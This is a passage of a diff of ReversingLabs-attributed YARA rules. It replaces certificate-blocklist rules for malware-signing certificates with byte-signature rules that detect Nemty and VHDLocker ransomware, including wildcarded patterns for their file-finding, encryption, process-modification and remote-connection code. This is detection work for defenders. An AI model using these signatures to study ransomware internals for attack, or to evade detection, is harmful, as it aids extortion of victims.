?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 E8 + } + $modify_processes_p1 = { + 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 + } + $modify_processes_p2 = { + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 6A ?? 8D 8D ?? ?? ?? ?? 6A ?? 8D 04 52 8D 04 C1 + 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 0F + 43 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D B5 + ?? ?? ?? ?? 0F 43 95 ?? ?? ?? ?? 0F 43 B5 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C8 ?? + 50 56 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 6A ?? 8D 8D ?? ?? ?? + ?? 6A ?? 8D 04 52 8D 04 C1 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? + ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC FF 37 E8 + ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? C6 45 ?? ?? 8D 85 ?? ?? + ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 + 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 FF 77 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ICE ACTIVATION LIMITED" and pe.signatures [ i ] . serial == "72:89:b0:f9:bd:64:1e:3e:35:2d:c3:18:3f:8d:e6:be" and 1557933274 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $modify_processes_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Fd7B7A8678A67181A54Bc7499Eba44Da : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Nemty : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Nemty ransomware." author = "ReversingLabs" - id = "d6456cb6-e950-54be-a7f4-5c1d622c6aab" - date = "2020-08-05" - modified = "2023-11-08" + id = "c56ecd32-5903-5bcc-aa69-a070f2c247c4" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3100-L3118" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Nemty.yara#L1-L205" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f1e26ea26890043be2c8b9c35ba2e6758b60fe173f00bf4c77cc5289ce0d5600" + logic_hash = "dc8cfdcdea8ecb2018b1b04bb1b645f6dbdc6c07357719100677c75945edef40" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Nemty" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection_p1 = { + 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 33 DB 68 ?? ?? ?? ?? 8D 75 + ?? 89 5D ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 + 53 53 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 6A + ?? 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? + ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 53 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? + ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 32 DB EB ?? B3 ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? + 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? + ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 8B 1D ?? ?? ?? ?? + 50 FF D3 6A ?? 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 83 78 ?? ?? 59 59 + 72 ?? 8B 00 50 FF D3 33 DB 43 53 33 FF 8D 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 53 8D 75 ?? + E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 59 59 FF 75 ?? FF + } + $remote_connection_p2 = { + D6 FF 75 ?? FF D6 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? + 83 78 ?? ?? 59 59 72 ?? 8B 00 50 FF 15 ?? ?? ?? ?? 53 33 FF 8D 75 ?? E8 ?? ?? ?? ?? + 53 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 75 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? + ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 33 C9 51 51 51 50 68 ?? ?? ?? ?? 51 FF 15 ?? + ?? ?? ?? 53 33 FF 8D 75 ?? E8 ?? ?? ?? ?? 53 8D 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 5A 8B C1 39 55 ?? 73 ?? 8D 45 ?? 03 45 ?? 39 55 ?? + 73 ?? 8D 4D ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41 3B C8 75 ?? 8B 45 ?? 39 55 ?? 73 ?? + 8D 45 ?? 03 45 ?? 8B 4D ?? 39 55 ?? 73 ?? 8D 4D ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41 + 3B C8 75 ?? 8B 45 ?? 39 55 ?? 73 ?? 8D 45 ?? 03 45 ?? 8B 4D ?? 39 55 ?? 73 ?? 8D 4D + ?? EB ?? 80 39 ?? 75 ?? C6 01 ?? 41 3B C8 75 ?? 83 EC ?? 8D 45 ?? 8B F4 50 E8 ?? ?? + ?? ?? 83 EC ?? 8B F4 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 33 + FF 8D 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 + } + $enum_resources_p1 = { + 55 8B EC 83 E4 ?? 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 53 56 57 FF 15 ?? ?? ?? + ?? 83 64 24 ?? ?? 89 44 24 ?? BB ?? ?? ?? ?? 8B 54 24 ?? 8B 4C 24 ?? D3 EA 33 C0 40 + 23 D0 0F 84 ?? ?? ?? ?? 83 64 24 ?? ?? 6A ?? 80 C1 ?? 5F 88 4C 24 ?? FF 74 24 ?? 8D + 74 24 ?? 89 7C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 83 64 24 ?? ?? 8B 74 24 ?? 53 89 + 7C 24 ?? C6 44 24 ?? ?? E8 ?? ?? ?? ?? 59 03 C6 8D 4C 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D + 44 24 ?? 50 83 C8 ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53 8B C6 + E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8B C6 50 FF 15 ?? ?? ?? ?? 6A ?? 33 + FF 8D 74 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 + 8B F8 53 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? + 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53 + 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 + } + $enum_resources_p2 = { + 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D + 74 24 ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 8B F8 53 8D 44 24 + ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 + ?? E8 ?? ?? ?? ?? 8D 44 24 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? + E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 44 24 ?? 73 ?? 8D 44 24 ?? 6A ?? 8D 4C 24 ?? 51 8D + 4C 24 ?? 51 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 0F AC C8 ?? 89 44 24 ?? 8D + 44 24 ?? BE ?? ?? ?? ?? C1 E9 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 0F AC C8 ?? + 89 44 24 ?? 8D 44 24 ?? BE ?? ?? ?? ?? C1 E9 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 2B 44 24 + ?? 8B 4C 24 ?? 1B 4C 24 ?? BE ?? ?? ?? ?? 0F AC C8 ?? 89 44 24 ?? 8D 44 24 ?? C1 E9 + ?? E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? FF 44 24 ?? 83 7C 24 ?? ?? + 0F 8C ?? ?? ?? ?? 8B 4C 24 ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $find_files_1_p1 = { + 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 + 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? + E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? + 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? + ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 + } + $find_files_1_p2 = { + C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 + ?? E8 ?? ?? ?? ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? + ?? 59 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 0F + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ?? + ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? + ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? + ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 59 84 C0 75 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? + ?? ?? 59 84 C0 75 ?? 83 EC ?? 8D 44 24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 6A ?? 33 FF 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 8D 84 + 24 ?? ?? ?? ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? + FF 15 + } + $find_files_2_p1 = { + 8D 44 24 ?? 8D 8C 24 ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 + ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F + 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? + ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 + 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 8D + 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 57 8D 84 24 ?? ?? ?? ?? 50 FF D6 + 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 + 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 + } + $find_files_2_p2 = { + 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 + 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? + ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? E8 ?? + ?? ?? ?? 83 4C 24 ?? ?? 83 EC ?? 8B C4 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 4C + 24 ?? 8B C4 51 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 84 24 ?? ?? + ?? ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 83 4C 24 ?? ?? 83 EC ?? 8B C4 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? 8B C4 51 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? + 83 C4 ?? 85 C0 75 ?? 32 DB EB ?? B3 ?? F6 44 24 ?? ?? 74 ?? 83 64 24 ?? ?? 6A ?? 33 + FF 8D 74 24 ?? E8 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 83 64 24 ?? ?? 6A ?? 33 FF 8D 74 + } + $find_files_2_p3 = { + 24 ?? E8 ?? ?? ?? ?? 84 DB 0F 85 ?? ?? ?? ?? F6 84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ?? + ?? ?? 50 0F 84 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F0 8B + 46 ?? 59 83 C9 ?? 2B C8 83 F9 ?? 0F 86 ?? ?? ?? ?? 8D 58 ?? 6A ?? 8B C6 E8 ?? ?? ?? + ?? 84 C0 74 ?? 83 7E ?? ?? 8B 4E ?? 72 ?? 8B 06 EB ?? 8B C6 6A ?? 5A 66 89 14 48 83 + 7E ?? ?? 89 5E ?? 72 ?? 8B 06 EB ?? 8B C6 33 C9 66 89 0C 58 8B DE 8D 74 24 ?? E8 ?? + ?? ?? ?? 8B DE 8D 44 24 ?? E8 ?? ?? ?? ?? 6A ?? 33 FF E8 ?? ?? ?? ?? 6A ?? 8D 74 24 + ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 44 24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 + 24 ?? 8B F4 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 44 24 ?? E8 + ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 59 6A ?? 33 FF 8D 74 24 ?? E8 + ?? ?? ?? ?? 6A ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 40 33 C9 8D 74 24 ?? E8 ?? ?? ?? ?? 8D + 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? E8 ?? ?? + ?? ?? 59 6A ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 40 33 C9 + 8D 74 24 ?? E8 + } + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 8B D9 33 F6 C7 43 ?? + ?? ?? ?? ?? 89 73 ?? C6 03 ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 57 2B C1 6A ?? 99 5F + F7 FF 89 9D ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 85 C0 74 ?? 89 B5 ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 83 EC ?? 03 C1 8B F4 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A + ?? 50 83 C8 ?? 8B F3 E8 ?? ?? ?? ?? 6A ?? 33 FF 8D 75 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? + ?? 8B 0D ?? ?? ?? ?? 2B C1 6A ?? 99 5E F7 FE FF 85 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? + 39 85 ?? ?? ?? ?? 72 ?? 8B 53 ?? 6A ?? 5F C6 85 ?? ?? ?? ?? ?? 3B D7 72 ?? 8B 0B EB + ?? 8B CB 8B 43 ?? 03 C1 3B D7 72 ?? 8B 0B EB ?? 8B CB 50 51 8D 85 ?? ?? ?? ?? 50 8D + 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 39 7B ?? 72 ?? 8B 03 EB ?? 8B C3 8B 5B ?? 8B + B5 ?? ?? ?? ?? 03 D8 53 FF B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B + 4E ?? C6 85 ?? ?? ?? ?? ?? 3B CF 72 ?? 8B 16 EB ?? 8B D6 8B 46 ?? 03 C2 3B CF 72 ?? + 8B 0E EB ?? 8B CE 50 51 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 39 7E ?? 72 ?? 8B 0E EB ?? 8B CE 8B 46 ?? 03 C1 50 FF B5 ?? ?? ?? ?? 8D 9D ?? ?? + ?? ?? 8B C6 E8 ?? ?? ?? ?? 8B 46 ?? 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B 4E + } + $encrypt_files_p2 = { + 89 85 ?? ?? ?? ?? 3B CF 72 ?? 8B 16 EB ?? 8B D6 8B 46 ?? 03 C2 3B CF 72 ?? 8B 0E EB + ?? 8B CE 3B C8 74 ?? 8B B5 ?? ?? ?? ?? 2B F1 8A 11 88 14 0E 41 3B C8 75 ?? 8D 45 ?? + 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 75 ?? 8B F8 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 50 8D 45 ?? E8 ?? ?? ?? ?? 8B F0 8B 46 ?? 8B 56 ?? 59 59 8B 4F ?? 2B C2 3B C8 76 ?? + 8B 47 ?? 2B C1 3B C2 72 ?? 56 8B F7 E8 ?? ?? ?? ?? EB ?? 6A ?? 57 83 C8 ?? E8 ?? ?? + ?? ?? 8B D8 8D 75 ?? E8 ?? ?? ?? ?? 8B C6 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 78 ?? ?? 59 59 72 ?? 8B 00 33 DB 53 68 ?? ?? ?? ?? 6A ?? 53 53 68 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 33 FF 8D B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 + ?? ?? ?? ?? 6A ?? 8D 75 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 3B F3 74 ?? 53 53 53 56 + FF 15 ?? ?? ?? ?? 53 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 56 FF + 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 59 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IMRAN IT SERVICES LTD" and ( pe.signatures [ i ] . serial == "00:fd:7b:7a:86:78:a6:71:81:a5:4b:c7:49:9e:ba:44:da" or pe.signatures [ i ] . serial == "fd:7b:7a:86:78:a6:71:81:a5:4b:c7:49:9e:ba:44:da" ) and 1548028800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_1_p* ) ) and ( all of ( $find_files_2_p* ) ) and ( all of ( $enum_resources_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Ebbdd6Cdeda40Ca64513280Ecd625C54 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Vhdlocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects VHDLocker ransomware." author = "ReversingLabs" - id = "2cf769dc-5108-5f18-a51e-e152180a2b66" - date = "2020-08-05" - modified = "2023-11-08" + id = "696f8145-342b-5da5-b9ec-6f0d16afc465" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3120-L3138" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.VHDLocker.yara#L1-L152" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1d419f2fe2a9bf744bdde48adc50e0bc48746f1576f96570385a2a1c9ba92d21" + logic_hash = "39d1fbfc79d5ea866498bb1e40d2290469df774ce65b1da04a85c0e4e5b4493c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "VHDLocker" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 